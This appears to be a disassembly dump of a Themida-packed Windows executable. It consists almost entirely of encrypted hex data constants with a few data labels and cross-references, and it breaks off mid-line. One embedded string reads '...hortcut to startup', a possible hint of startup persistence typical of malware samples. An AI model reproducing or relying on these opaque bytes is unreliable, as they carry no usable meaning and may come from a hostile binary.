0B0D1B3CCh, 14932034h dd 6AA1A23Ch, 0B0152633h, 9C941F09h, 4DAACE63h, 0F6D82633h dd 6AD8A3BEh, 24C8203Fh, 0D8A11CB6h, 0FF677635h, 339F2692h dd 1794E2B0h, 41A11CB6h, 23157635h, 55941F19h, 0E00DD963h dd 3D9E2129h, 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh dd 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h dd 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h dd 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch dd 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h dd 0A8517F6Ch, 88152637h, 9C941F1Bh, 77C5ABBEh, 9320203Fh dd 78000000h, 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh dd 0B58DFFFFh, 60C3A5Dh, 3A7C8D8Dh, 0CF2B060Ch, 8B05E983h dd 0CE8C8h db 2 dup(0) word_590242 dw 2F34h ; DATA XREF: Themida_:0053CE48o dd 0DC05C8A4h, 872927A4h, 14E9C231h, 0BF000000h, 0E28BD511h dd 0CEEE6834h, 9010C829h, 0DFDE857Bh, 5FBBD72Ah, 689BD89h dd 0C7810607h, 58C3h, 2C55958Bh, 0C02B0607h, 11098D89h dd 1C8B0607h, 75B58907h, 81060728h, 9C5954EBh, 0DE950h dd 4B570000h, 62CB46FCh, 57FBACA5h, 815DCDD4h, 0A653E6EBh dd 0F9BD893Ah, 8106072Eh, 0C6B69DC3h, 298D0325h, 89060712h dd 81F5071Ch, 87007FF6h, 4E88313h, 0A7D8F881h, 850FFFFFh dd 0FFFFFFAEh, 8E9h, 0E26F5300h, 609708B0h, 0F68D8D96h dd 6A060C3Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0CB10C355h, 0F0CDB944h, 858B28F4h dd 6070BC9h, 1AD98D89h, 6E90607h, 2000000h, 59FE23B9h dd 1D85C70Ah, 28060710h, 6A00006Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0A523C355h dd 99BD8983h, 0C7060723h, 7330585h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0F08BF88Dh, 0BE9B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 977602C3h, 0E567E14Eh dd 95FF96E7h, 6071859h, 1069BD89h, 6A0607h, 0D6995FFh dd 0C08B0607h, 0E5F15EEBh, 6F0CF781h, 11E32525h, 0CA10C71h dd 38C293F1h, 65E419EBh, 0D8007655h, 9AE53097h, 977946CAh dd 0F71507DBh, 0BB11CDC0h, 4DA6BDFDh, 0FED92876h, 0DB02D37h dd 7EF37237h, 1B705CDBh, 2AA8BF40h, 0F37F800Ah, 74061455h dd 0C4740D47h, 0C8547E02h, 0C0371B55h, 5F0C470Dh, 378BC87Ah dd 0FE8h, 5E68C400h, 880AA2B6h, 15870D80h, 1EEDF377h, 5AF6B70Fh dd 81F7B70Fh, 66C8C2h, 0F59D3300h, 2B06072Eh, 0E99D8BC0h dd 8B060707h, 8D8B023Ch, 60702F1h, 2344EF81h, 9E93E4Ch dd 8000000h, 5E7F353Bh, 0DED69E83h, 8B0EEF81h, 0D88B54C8h dd 3A99EF81h, 0B5897EC0h, 6070579h, 0E9023C89h, 11h, 46E9DA5Dh dd 0F72CDADEh, 4CB0E651h, 39CC9EF9h, 6850FD4h, 31000000h dd 711399Dh, 3E88306h, 4897C580h, 0E5B58960h, 89060720h dd 708D1B5h, 0F8816106h, 0FFFF9A08h, 13850Fh, 0F500000h dd 0E95BF1BFh, 29h, 7C1BFC6Eh, 93C4B3C7h, 0BF0F6027h, 49958BDFh dd 61060712h, 0FFFF66E9h, 16BC14FFh, 4AF3D46h, 9E815A0Ah dd 97818584h, 7B8D8DB3h, 6A060C3Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0CDF6C356h dd 6B691B77h, 0BE60604Ah, 60417368h, 9E9h, 1CF39800h, 0E7395180h dd 8061807Ah, 896195DCh, 71AD98Dh, 14E806h, 0D28A0000h dd 0C5B89A43h, 1B644986h, 0D7517604h, 0C60E9B68h, 12E97914h dd 8D000000h, 5C3139E3h, 470B2766h, 8B536F2Ah, 8AC4450h dd 85C75FF3h, 607101Dh, 7508h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0ECC35545h, 40E43EBAh, 5532B6EEh dd 2995899Dh, 0C7060712h, 7330585h, 6, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0D993365Eh, 65B58B07h, 0E806071Fh, 8, 10385111h, 0B83FAE20h dd 5E616050h, 59B5FF5Ah, 6A060708h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0B0F2C356h dd 0B5094078h, 607212Dh, 185995FFh, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E528C2C3h dd 6A441502h, 6995FF00h, 8B06070Dh, 269EBC0h, 77229A4Dh dd 0D065F126h, 0BCCFEA01h, 638B3483h, 552FCB29h, 32BAF8E8h dd 0CA64B211h, 0DD788360h, 2F6A767Fh, 8E601FBAh, 27AD3AF3h dd 87527C98h, 0EF54F3D0h, 533DE28Ah, 626B8111h, 87E1EE05h dd 82E93EB9h, 65E7FABFh, 508EBFB6h, 0ABF06A01h, 0F882F68h dd 6599A8A4h, 0EFE27CC8h, 0D18ABC08h, 0E0CEE74Dh, 655F3D36h dd 657D8A90h, 347DE390h, 0F724C03Ch, 10316947h, 1039610Bh dd 347DF483h, 0F72CA1C3h, 8B72B051h, 0F4F6BF0Ah, 0DC2FE012h dd 347DE03Fh, 6EBEBA3Eh, 3059B486h, 3059A406h, 347DE0D9h dd 4EBEB2A3h, 0DADED9Bh, 0B4721B68h, 347DE03Fh, 0B5B45F11h dd 888987CCh, 0F9C063A8h, 347BE7D9h, 89FEE994h, 327AF1C5h dd 64649478h, 8CBD6B6Fh, 347DE41Dh, 2B006586h, 0A9F0E680h dd 32744D03h, 6C26331Eh, 25485D73h, 407DE67Fh, 8C2EB02Bh dd 347DE41Dh, 2B006586h, 0A9F0E680h, 32744A6Ch, 6C26331Eh dd 2B746DD3h, 3417E67Fh, 347E086Dh, 6D5DE01Eh, 78F4B9CCh dd 70FCE4A3h, 3467E4E7h, 653CE0E1h, 0D44E9933h, 0CEC5791Dh dd 347A6333h, 8F2FE01Eh, 4B467908h, 347508D8h db 0C3h, 0E0h word_590782 dw 16Dh ; DATA XREF: Themida_:0053E808o dd 0CF1D72A7h, 0A9F6D40Bh, 327AE565h, 0BFBD6B63h, 335DE98Bh dd 0ECF18609h, 0DBB10906h, 89F48CDBh, 327AC0A8h, 0B072E458h dd 347DE3C7h, 347DF3D5h, 0CF0C861Eh, 858833B5h, 0AC9424B6h dd 0E359BD5Dh, 0E3AFB24h, 1C045D73h, 3B7DE67Fh, 347DC6B8h dd 667D8A1Eh, 347DE3E7h, 0F727C087h, 10296999h, 103961E5h dd 347DF6F4h, 0F72FA278h, 0DDC740C6h, 347DE369h, 8AB65700h dd 367DC787h, 1F06B94h, 6E7BE7F1h, 0B3A2657Dh, 3417E672h dd 347E086Eh, 6E5DE01Eh, 60F4BACCh, 70FCE4A3h, 346AE4E7h dd 663FE0E1h, 94C39133h, 0A78D59E6h, 0E482E4F7h, 39106597h dd 8F1BE608h, 0F4F8E368h, 34D364CCh, 0B9F6E0E1h, 327ACDDDh dd 522AD8F9h, 0B1721BBDh, 347DE00Ah, 304C7506h, 0B51BE680h dd 367FE4BBh, 373D64EEh, 4BCCE0F0h, 0A845611Eh, 49F8EF5Ch dd 77DE01Eh, 337C4582h, 36056081h, 59F8EF2Bh, 377DE0E1h dd 335F896Dh, 4CFC867Eh, 3BD6E03Ah, 347DBB9Bh, 647D8A0Fh dd 347DE36Fh, 0F725C0C3h, 103969B9h, 103961F4h, 347DF67Ch dd 0F72DA03Ch, 0DD055EE7h, 347DE01Fh, 4CD7512Bh, 800D0F59h dd 0E05191D0h, 138D76F0h, 347F3991h, 667D8A3Ch, 347DE3F6h dd 0F727C00Fh, 102969DDh, 103961C7h, 347DF5E5h, 0F72FA2F0h dd 817C3369h, 327AEF39h, 357CE0A0h, 0B9085749h, 3EFA3F02h dd 0E3FC86C5h, 8372F183h, 5EAD1F0Ah, 3795B178h, 147DE03Ch dd 0BD242347h, 0B579C443h, 2179C4C3h, 757DE0C3h, 60A123B0h dd 36300371h, 0F4F8FAC3h, 36446433h, 2695E01Eh, 127DE00Fh dd 3609C308h, 0BF5A068Dh, 0DA854CF5h, 0DA7D5CAEh, 0A5C06B0Eh dd 6E7BE739h, 91BD89Fh, 0B172E20Dh, 347DE0BCh, 73C5D4Ah dd 4CFCE6E6h, 6B4086F6h, 3F9EF02h, 5E7DE03Eh, 3795B31Eh dd 147DE00Fh, 0BD2623DCh, 0B579C49Fh, 2E79C4A5h, 777DE0F0h dd 3BBE232Bh, 0D6DBE895h, 23A661DFh, 52237E80h, 54E1D806h dd 340565CCh, 3417E0E1h, 347E08A3h, 6F5DE078h, 68F4BBFFh dd 70FCE43Ah, 3465E42Bh, 673EE087h, 675C7F00h, 4CFDABF4h dd 0B17208F2h, 347DE036h, 0DC2DE056h, 347DE01Dh, 6CBEB82Fh dd 3059A40Eh, 3059A442h, 347DE0F7h, 64BEB0B0h, 3894C94Bh dd 197DE03Ch, 2F7183DEh, 8BAB71A3h, 52AD5B69h, 347B9842h dd 27F8EF21h, 3B7DE0F0h, 0B57219C7h, 347DE03Eh, 0BB941C94h dd 3B7DE00Eh, 34C33638h, 5E03E1C2h, 3795B2E1h, 147DE0F0h dd 0BD272322h, 0B579C468h, 2279C45Ah, 767DE00Fh, 0B92F23D5h dd 0E7BE6041h, 0B3A2656Ch, 3417E6FAh, 347E082Ah, 6E5DE03Ch dd 60F4BADDh, 70FCE42Bh, 3466E4A3h, 663FE0C3h, 0F3B66122h dd 546065A8h, 0FCF686E4h, 341730C3h, 347E084Ch, 6E5DE00Fh dd 60F4BA44h, 70FCE4E7h, 3465E4C5h, 663FE0F0h, 0AAC816BBh dd 8B72B9ACh, 49E06BC1h, 0B17BE727h, 0F8F9EF47h, 0B47DE0C3h dd 0CFD9F38h, 0DF8EF18h, 5E7DE078h, 3795B13Ch, 147DE01Eh dd 0BD242356h, 0B579C4CBh, 2D79C487h, 757DE0E1h, 6EB423A1h dd 708CB776h, 477898BCh, 34736511h, 0B485E00Fh, 3B2EE7FFh dd 347D2547h, 0FFF686E1h, 0BB456196h, 48F8EF7Dh, 3B7DE03Ch dd 347DEB9Ch, 31FFEF0Fh, 527DE087h, 2EBF3142h, 5C7B9861h dd 341C65FFh, 3417E078h, 347E086Ch, 6C5DE01Eh, 70F4B8CCh dd 70FCE4A3h, 3466E4E7h, 643DE0E1h, 0C9206133h, 0B85E8787h dd 4CFC8659h, 3B581F15h, 347DD28Ah, 5DC86987h, 0DD7BE7ECh dd 347DE083h, 0DC2FE09Ah, 347DE07Bh, 6EBEBA1Ch, 3059B497h dd 3059A48Eh, 347DE09Fh, 4BEB281h, 4BCD2F4Fh, 97645F96h dd 1FA55777h, 0F7FC86FCh, 0DFFD903Eh, 34400972h, 0B972E087h dd 347DE0C5h, 25585D6Ah, 3A95E6F7h, 0A37DE078h, 0D0286317h dd 0FBEE6C0Fh, 8CCFFD40h, 347A09AAh, 3D5EE0C3h, 0E534CD27h dd 35C5BA02h, 3B7DE078h, 347DE6BCh, 0E9C0E91Eh, 647BE72Ah dd 34666D88h, 662DE0C3h, 0CE510A5Ah, 0DD4CEFE1h, 347DE073h dd 0EB75683Eh, 0F67D200Ah, 6EF21A98h, 107969DFh, 0DC2AE0A9h dd 347DE0E2h, 6BBEBFD0h, 30599CF1h, 3059A4BDh, 347DE002h dd 72BEB748h, 584414D8h, 0E906E887h, 0B9A257EEh, 3843094Dh dd 50F06D7Eh, 8C7BEC78h, 431BB53Dh, 3470650Ch, 0FB56E680h dd 0E1C234C3h, 0B2E15E03h, 0E0F03795h, 2322147Dh, 0C468BD27h dd 0C45AB579h, 830F2279h, 0A4F305E9h, 5F536058h, 3A9C98BFh dd 0F9576171h, 0FC00B59h, 5684h, 9BB58D00h, 0E806074Bh dd 7, 0A9B39A64h, 29F7A934h, 71F1D95h, 3B85906h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 628BC353h, 5AC534E5h, 0FD8589FCh, 306070Dh dd 7134195h, 0FE6FF06h, 284h, 40D88B00h, 22A1BD89h, 0C08B0607h dd 13D59D23h, 0BD830607h, 6071ACDh, 83097500h, 71135BDh dd 19740006h, 0C08B5350h, 403B8h, 81858900h, 8D06072Fh dd 9AE279Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 403B8h dd 81858900h, 8D06072Fh, 9AAC89Dh, 5BD3FF06h, 53006A58h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 2907FBFCh, 7228595h, 81BD8906h, 6A060729h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0FAC0C351h, 85507282h, 667FC1C5h, 38BB1BAh, 72B5DBDh dd 0F5C08B06h, 5E861h, 8A3F0000h, 0E99A43D2h, 12h, 0A505031Ah dd 0ACFCB935h, 0F4A34180h, 2E3603DDh, 665B34C6h, 810CD4BFh dd 6404C3h, 218D2B00h, 2B060704h, 6810FF6h, 81000000h dd 64F116C1h, 33148B19h, 28E0Fh, 0E58A0000h, 4E9FEA81h dd 8B667D1Ah, 0BFF281FEh, 81131B09h, 272731EAh, 0BE829h dd 0F1950000h, 20E6C1BAh, 0CC2D5BA4h, 6810F76h, 89000000h dd 72EF99Dh, 14895906h, 0EE933h, 293E0000h, 9993F6D8h dd 6A3016AEh, 0CB5E3799h, 5202EE83h, 5F34B051h, 0F4E4E5Fh dd 0FE81FBBFh, 0FFFF9CA0h, 0FF93850Fh, 5820FFFFh, 31C85333h dd 12100133h, 0BB52C269h, 0B3002567h, 29062577h db 33h, 1 word_590E26 dw 7001h ; DATA XREF: Themida_:0053F004o dd 612BC261h, 72F1A374h, 0B97321C6h, 35023C8Eh, 0BE6E5A35h dd 0F3BF67EBh, 3D06A990h, 320354B7h, 3F058833h, 0B1460615h dd 3508788Eh, 0B61F0135h, 32080178h, 0DA520159h, 32020130h dd 6CC25F13h, 36A475BAh, 366445B2h, 3220012Fh, 4ED35775h dd 43CF5B7Bh, 4304159h, 320018DAh, 62016B33h, 328002DBh dd 0F1182133h, 1664886Bh, 16548037h, 32081537h, 0F1544133h dd 90F0805Ch, 6204FE34h, 328006DBh, 425D5433h, 769414C1h dd 1AAF6761h, 0BB575AC9h, 0EE8E2537h, 164E003Ch, 0B9488CDh dd 6A860623h, 15B194BAh, 0F2A30734h, 64106B1Fh, 320802DBh dd 0F15A2133h, 1676886Dh, 16458037h, 32801B37h, 0F1164733h dd 66FC94A0h, 3D004115h, 32080DBCh, 34860E33h, 0BB020133h dd 35310CB6h, 0CD3F0E35h, 3B1209B8h, 350110B6h, 0A7215E35h dd 340F1952h, 0CE4C8A55h, 378B94BAh, 0B3670734h, 3D7F370Ah dd 3240F8B7h, 63206B33h, 321002DBh, 0F1512133h, 1648886Ah dd 16468037h, 32011737h, 0F1D14033h, 0B1605424h, 324A08F2h dd 3213E965h, 6C280133h, 468D5FF0h, 76830517h, 32190517h dd 64C60133h, 212E24F0h, 0D1A166D0h, 3C9D9DD9h, 0DB3181C6h dd 3318843Ch, 32680133h, 3202E965h, 6CA00133h, 46C95FF0h dd 76A10517h, 320C0517h, 644E0133h, 1A3445F0h, 0DD2758F0h dd 0BA0E51A6h, 3280012Bh, 32400DDBh, 2801F533h, 0F369796Ch dd 0AED9CA98h, 43B98A1Ah, 6D04061Fh, 580040B8h, 31685033h dd 12400133h, 0BB79C26Ah, 0B314257Fh, 2B0C2577h, 73040133h dd 547BC262h, 0AFF6E9C9h, 6F45BE55h, 0AFC9C930h, 342710FEh dd 8815C0B0h, 12CCA37Dh, 799438B2h, 0B70D8A70h, 320101A5h dd 0DAD50159h, 32400130h, 6FE35C13h, 36346DBAh, 362C45B2h dd 32040127h, 0FFC15476h, 13709CBAh, 0BF0D0734h, 34474AA8h dd 0DA730159h, 32100130h, 69CB5A13h, 36205DBAh, 362645B2h dd 32010129h, 4435270h, 4919C024h, 0BF2F43EFh, 32100126h dd 320811DAh, 0EA6EB833h, 614E2332h, 0C1178225h, 4FA80B71h dd 3243B9F9h, 8F290133h, 34172A16h, 3262E0CCh, 3207E961h dd 68220133h, 66885BF0h, 76010517h, 32560517h, 60620133h dd 9C0D92F0h, 10F1BCBAh, 52650734h, 2D6B8CB8h, 0B70E0734h dd 32800132h, 8FCD60CBh, 342C477Ch, 7B1B8CBEh, 46B0073Fh dd 10593B0h, 3516E0B6h, 0F3CE2A35h, 582003DAh, 31C85333h dd 12100133h, 0BB52C269h, 0B3002567h, 29062577h, 0E9830133h dd 8BA4F305h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0C5F8A91Fh, 0E431D1C6h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CBC35646h, 8BFFD56Dh dd 9D9D8DC3h, 0B806071Eh, 39h, 15118589h, 0E80607h, 58000000h dd 0D05h, 0E9038900h, 39h dword_591150 dd 0Eh dup(77E60000h), 9D8D8DFFh, 6A060C4Ah, 3E85600h ; DATA XREF: Themida_:0053E65Co dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0AFCAC356h, 4FD3344Bh, 0E6C418D1h, 28A9858Bh, 0BD8B0607h dd 60707D5h, 1AD98D89h, 8F0F0607h, 3, 0C7DEB70Fh, 7101D85h dd 633806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 2F02C7A5h, 48AA162h, 0B5896287h dd 6072845h, 330585C7h, 607h, 0AE90000h, 38000000h, 95153D04h dd 8EEA26CEh, 0B5B5FF95h, 6A060712h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 72EDC350h dd 7E25EEC1h, 0B503C815h, 60706C5h, 185995FFh, 8B660607h dd 0FF006AD9h, 70D6995h, 0EBC08B06h, 0AE0D3168h, 0EF755002h dd 0F9F6CE65h, 0C848EA90h, 6A0E37C9h, 56502D57h, 0CEE46CD9h dd 0B67C5C87h, 0B958040h, 58508F5Dh, 0DBB79594h, 11454F67h dd 59CAAF63h, 3637E17Eh, 509F138Ah, 307EC688h, 89478082h dd 86D8590Ch, 0DBFB80A6h, 0A3494FBBh, 0B2E80F7Ch, 0CD488595h dd 0CAA0AA89h, 719F7AF4h, 0DB4C2A52h, 1E7B33BAh, 536CEB88h dd 74726F68h, 20747563h, 73206F74h, 74726174h, 7075h, 13h dup(0) dd 60000000h, 14D505Fh, 0E9000000h, 0ED6h, 0C4D2F68h, 0F622E906h dd 7468FFFBh, 0E9060C4Eh, 0FFFBF618h, 0C4FF668h, 0F60EE906h dd 3568FFFBh, 0E9060C50h, 0FFFBF604h, 0C50E068h, 0F5FAE906h dd 9668FFFBh, 0E9060C51h, 0FFFBF5F0h, 0C55B368h, 0F5E6E906h dd 1168FFFBh, 0E9060C58h, 0FFFBF5DCh, 0C58F568h, 0F5D2E906h dd 766FFFFBh, 170ED5A7h, 0B3AB7244h, 574910E2h, 0EBE1A87Ah dd 31724416h, 20F2C7BDh, 0B98B6659h, 5325FEF2h, 0EEC0978Ch dd 61AE98D5h, 62802581h, 60570421h, 46546A8Dh, 5A2F7A51h dd 49968065h, 4A8631CDh, 1DC89A69h, 0D11E080Eh, 0D28631CCh dd 884522F1h, 0EB0EE7DBh, 38E80589h, 0E17F5D8Ch, 89F444B5h dd 886987AAh, 0AA99CDABh, 301DA6F8h, 7586A0Dh, 0DC8029DDh dd 21FA1373h, 99F16974h, 4Fh, 948936D1h, 0A59D72BDh, 0E3B289D4h dd 0B0B4B7C0h, 0DDCDE9D3h, 0EBCC8C38h, 1A67510Eh, 1B802ABCh dd 8F74173Ah, 0BB9BE8D2h, 0BB9C802Ah, 0BBE53698h, 23BA802Ah dd 0BC2F7C66h, 4928802Ah, 5A317C55h, 161688Bh, 6A570FE8h dd 0E487F1h, 46BF0000h, 4A2F7A51h, 7D4A59Dh, 1BF23D10h dd 0FADDD3F8h, 747E5B4Dh, 8631CD27h, 24D2419h, 9086652Bh dd 0CA9970BBh, 64F1DDCCh, 3F0E1760h, 532A1FF4h, 673E3308h dd 1D11BE95h, 0FF22F944h, 30E41B9Dh, 0AD827786h, 0C198E3B6h dd 645920F2h, 0F1C09D8Fh, 0B77EEDA6h, 19FE7397h, 1FFCCBBFh dd 38A66135h, 8557388Ch, 0F6D351DAh, 34217B0Ch, 261DFC86h dd 0FAA78453h, 965D2F04h, 0CB14CBA0h, 0B59DFD51h, 0C72DE28h dd 1E170000h, 0BFB67D4Fh, 5B531AECh, 0FFF1B88Ah, 93895022h dd 0D91AECBEh, 0C89A6F65h, 61330E01h, 0FBCDA69Ah, 96683F34h dd 956407Dh, 0A802580h, 7936CBC9h, 31CD428Fh, 71463C86h dd 2D5CCABh, 0F5EB1033h, 0CA774E20h, 0DFB4FFD4h, 214413EAh dd 5E3007FCh, 4B5EA987h, 0E5184DDh, 8936D5EBh, 9B72BD94h dd 68FC6F78h, 0DD85A18Bh, 0C06D8C38h, 0D2A9F4CBh, 65B091AFh dd 5E0D380h, 5EC0E3BAh, 802ABC0Dh, 0ED381507h, 14C2318h dd 0E595EDBCh, 113A8AF3h, 0F16A5738h, 0F2B0h, 5146E800h dd 645A2F7Ah, 0DD2F5A60h, 6330ECA2h, 7FCA996Ch, 3198EB6Dh dd 6D524786h, 31903683h, 814E2F86h, 12E4B38Eh, 0A27F564Bh dd 0AA1747C4h, 0B07DFEEFh, 0C39AE5BAh, 3A18FDA0h, 0DD9D833Eh dd 475073F2h, 79634024h, 8C38EAA5h, 0ED98FFDDh, 0A942FB1Fh dd 0B5876886h, 643D31DEh, 161F4219h, 461D1115h, 63AE7D4Eh dd 33E0BD8Ch, 0F44673Eh, 33F58325h, 0AA667686h, 6E650915h dd 0BA674413h, 1D5FC0C4h, 8AD52DAh, 9D6C493Bh, 4D37F4CBh dd 8623BD00h, 0D924FFF2h, 385B3C02h, 91481D13h, 9DFC6E58h dd 2D65AF3Ch, 0D200000Bh, 71380AD9h, 0ED5A77Ah, 0AC734516h dd 440BDDBAh, 0D5A7794Eh, 552A2094h, 0EEC9BC83h, 8861551Ch dd 23FAEFB6h, 11FB3851h, 80257EC4h, 368684C5h, 0CD428F79h dd 62438631h, 7BC6A395h, 665C81A4h, 3F8BF91h, 46A25A2Ch dd 5A2F7A51h, 11BC8E65h, 432D0A1Ah, 8C390027h, 0A0B2FDDEh dd 802A994Fh, 426BBB24h, 0F16A3469h, 0CE1h, 2BD11900h dd 0DA000008h, 3C5F3A2Dh, 2CC96226h, 0FB13C5ACh, 0E5C2911Bh dd 3837AFFBh, 7AC5A68Ch, 0FCD9B0A5h, 7C6AC1Eh, 9E889EE0h dd 802A3E51h, 7FA27152h, 0C2998E55h, 0EBD59277h, 802A3E9Eh dd 0E9C6B897h, 6E95F71Ah, 0CDE76E62h, 9B674CCh, 745E3B16h dd 24EE2027h, 0F71C3F20h, 92592B02h, 697BC69Dh, 24EE2019h dd 9D43A3CCh, 38FFD1A8h, 0F216C43h, 24EE1FBBh, 31EF37C0h dd 0CC93653Ch, 0FCB500D7h, 5B18F56Fh, 99E4B7AEh, 7ED4C4C2h dd 0B879265Bh, 49433395h, 6142ED7Ch, 9E4D784h, 9AC4E7BEh dd 2249B1EDh, 0F77B6542h, 5EF37D52h, 0C11F337Dh, 0A9C58620h dd 0A6980EECh, 0DFF12DFBh, 84F088D5h, 7DA08145h, 906DF774h dd 8C014AA6h, 1F6A4B4Bh, 0C0998D3Ah, 8F97949Dh, 7CC9B39Ch dd 7D3F8600h, 0AB82CD9Ch, 0FC15FFDCh, 9D459070h, 6B38B8Dh dd 0CC9B7E09h, 764D42EFh, 6C79BB99h, 0C4593AF4h, 0BBB077A1h dd 0F9C62DE4h, 55E2DE8Fh, 9AB0Bh, 88575000h, 25F8EFB6h dd 0C3948C53h, 5B382AF1h, 0F7CCC289h, 9E125325h, 3A01D3A8h dd 0D39A6C47h, 6D3406DFh, 0B6CFA178h, 7E428F79h, 2438025h dd 7A514604h, 0EE5E3AC3h, 0ABF5829Dh, 96Ch, 77491811h dd 14E6B9B0h, 0B284554Dh, 4A1CF9EBh, 0E6B88D83h, 695FD314h dd 8FBC294h, 0A0945B2Dh, 392EF5C7h, 3A779062h, 257D0350h dd 0C5C30480h, 2F7A5146h, 0D3A69D4Ah, 0C0958BB0h, 15E541EEh dd 47310E16h, 8C38D6C3h, 7387D1B2h, 41E81DE7h, 43CB6947h dd 0DBB8292Eh, 0A8BCAFB8h, 7085E1CBh, 40EDC47Eh, 0B4A6734Ch dd 92B58CD7h, 8F489374h, 0EEAB889Ch, 744FB704h, 0DEB3A9C4h dd 15F6BC93h, 631E0417h, 36595DC3h, 0C5FE1701h, 0AE8FCA7Eh dd 563124D1h, 0DC11340Bh, 91633A2Fh, 47FED5CAh, 65A565C0h dd 0C1398310h, 66000008h, 5CC9E6Dh, 0A2693B0Eh, 4007D9AAh dd 0D89F714Eh, 693B0DE2h, 0E9BEB428h, 825D5017h, 1CF5E9B0h dd 0B78E834Ah, 0A58FCCE5h, 80257C58h, 46121051h, 0F09D7A51h dd 5E0124FBh, 0E38D9589h, 0C39A8FF3h, 3A3A178h, 0F8CA9977h dd 0A5827421h, 87332082h, 22498631h, 0FBA86542h, 0A80A2D08h dd 8C3DD163h, 0D9967354h, 25BFA2EFh, 0F5C2A380h, 0D2072AFFh dd 675B3025h, 9D6C438Eh, 0BC16F4CBh, 0A9921786h, 0CA434644h dd 9B3511C2h, 875E5378h, 9C71673Ch, 0C5AF6C51h, 80254478h dd 0D69C776Ah, 0E12E18F5h, 0E2802544h, 0C5B9DE01h, 0E5DC35ECh dd 7B08A3FAh, 80B31h, 0E8B7B000h, 85584F16h, 23F4ECB3h dd 0BB988A51h, 572C22E9h, 0FE72B385h, 9A613308h, 33FACCA7h dd 0CD94663Fh, 162F01D8h, 7BA2EFD9h, 62A38025h, 7A514664h dd 0A38D4A2Fh, 8631CC56h, 264B6E4Fh, 0F50F5A31h, 0D1C674CCh dd 945128FAh, 31CC5DAAh, 98755686h, 31CC61AEh, 5E816286h dd 7167EDC6h, 51865F7h, 629D0000h, 947E5BC9h, 8C3E184Fh dd 0DD8A6748h, 0C91600EBh, 0CA802581h, 0C2F71AE9h, 77492015h dd 1E995ECCh, 3107D70h, 0C3A8F3C2h, 7B482316h, 2789AC89h dd 0F9913F25h, 69277FE8h, 3675C2ACh, 8D6E06D1h, 0CDF9D26Ah dd 2F717810h, 0A9000000h, 815EC862h, 31CD4A97h, 1F6A4B86h dd 0CCA35C3Ah, 6DACB7FEh, 0FEDBE84Ah, 0C730A698h, 11754E7Fh dd 7EDD70Ah, 25000000h, 231D1h, 0C962F900h, 438E6B5Dh dd 0D6C09D6Ch, 8C3E17F9h, 8E3D683h, 2219E6BDh, 2D0E2C4Fh dd 8180D0E2h, 0A3B8025h, 5447F4BAh, 0DE4D5679h, 0A27F6946h dd 0E38631CDh, 73693002h, 0B16E539Eh, 31CC7AC7h, 0A6817486h dd 0AEBE845Bh, 1B9A5F3Bh, 0BFE2B1ADh, 84CFA49Ah, 510F5758h dd 0EDB4865Bh, 0FFD41FFAh, 0BAE6310Ch, 0C2CEAD8Bh, 0DFE8335h dd 0DD83E3EAh, 393D0FEAh, 8630FE02h, 29FBD4C8h, 0D8B1A552h dd 71BEA88Dh, 728630FDh, 7A9FC291h, 9D63AE85h, 6650C862h dd 8631CD19h, 8D6A391Ah, 0C712EDE0h, 3F44CDF0h, 0B694714Ch dd 0F8CEF647h, 0C5678A9Fh, 0B5B00DEh, 2ECEA4DEh, 18F3E60Bh dd 2B15D2E7h, 86318DDEh, 0FB0C7D7h, 0DB1A2917h, 0C5DEE90Ch dd 140CE7D9h, 54297443h, 253F8A5Dh, 18F4A4FCh, 0F8EF9C59h dd 0F903DA25h, 863129ACh, 0A2A9CCADh, 0ECDF8C42h, 0CCEFC611h dd 70C45B34h, 39CD3F7h, 3FEC0000h, 0B3A87548h, 46A3B9DCh dd 75307B50h, 0FC44F379h, 0A173483Eh, 50291DCAh, 3D12082Dh dd 3914070Ch, 5CA4B308h, 89D3A89Eh, 9BE6BDB2h, 31CD3989h dd 61C1F286h, 1DEFC6BBh, 3E896256h, 31CCDC2Ch, 0C919E086h dd 0F0542503h, 8F99E6D0h, 0B99A8631h, 7C8BD2BBh, 0BFE2BBAFh dd 0F49EA69Ah, 0D2ADA052h, 74B2B087h, 653706F4h, 30F08861h dd 0E8C00086h, 60F7707Eh, 0FFFFFF14h, 7A514698h, 15ECE1A8h dd 0C1948B38h, 0D97C9F76h, 7C5147F4h, 0D5375A31h, 8631CC85h dd 0EC01DF3Eh, 46914FA4h, 0A9F90023h, 5527FEF3h, 8AD7C17Eh dd 84863155h, 936AB592h, 0A4C9ECCDh, 7C8ED9AEh, 56A4F798h dd 0E63102FAh, 0F7421F11h, 0DB83E3B2h, 72080E9h, 26FD922Eh dd 59A6h, 0C962DE00h, 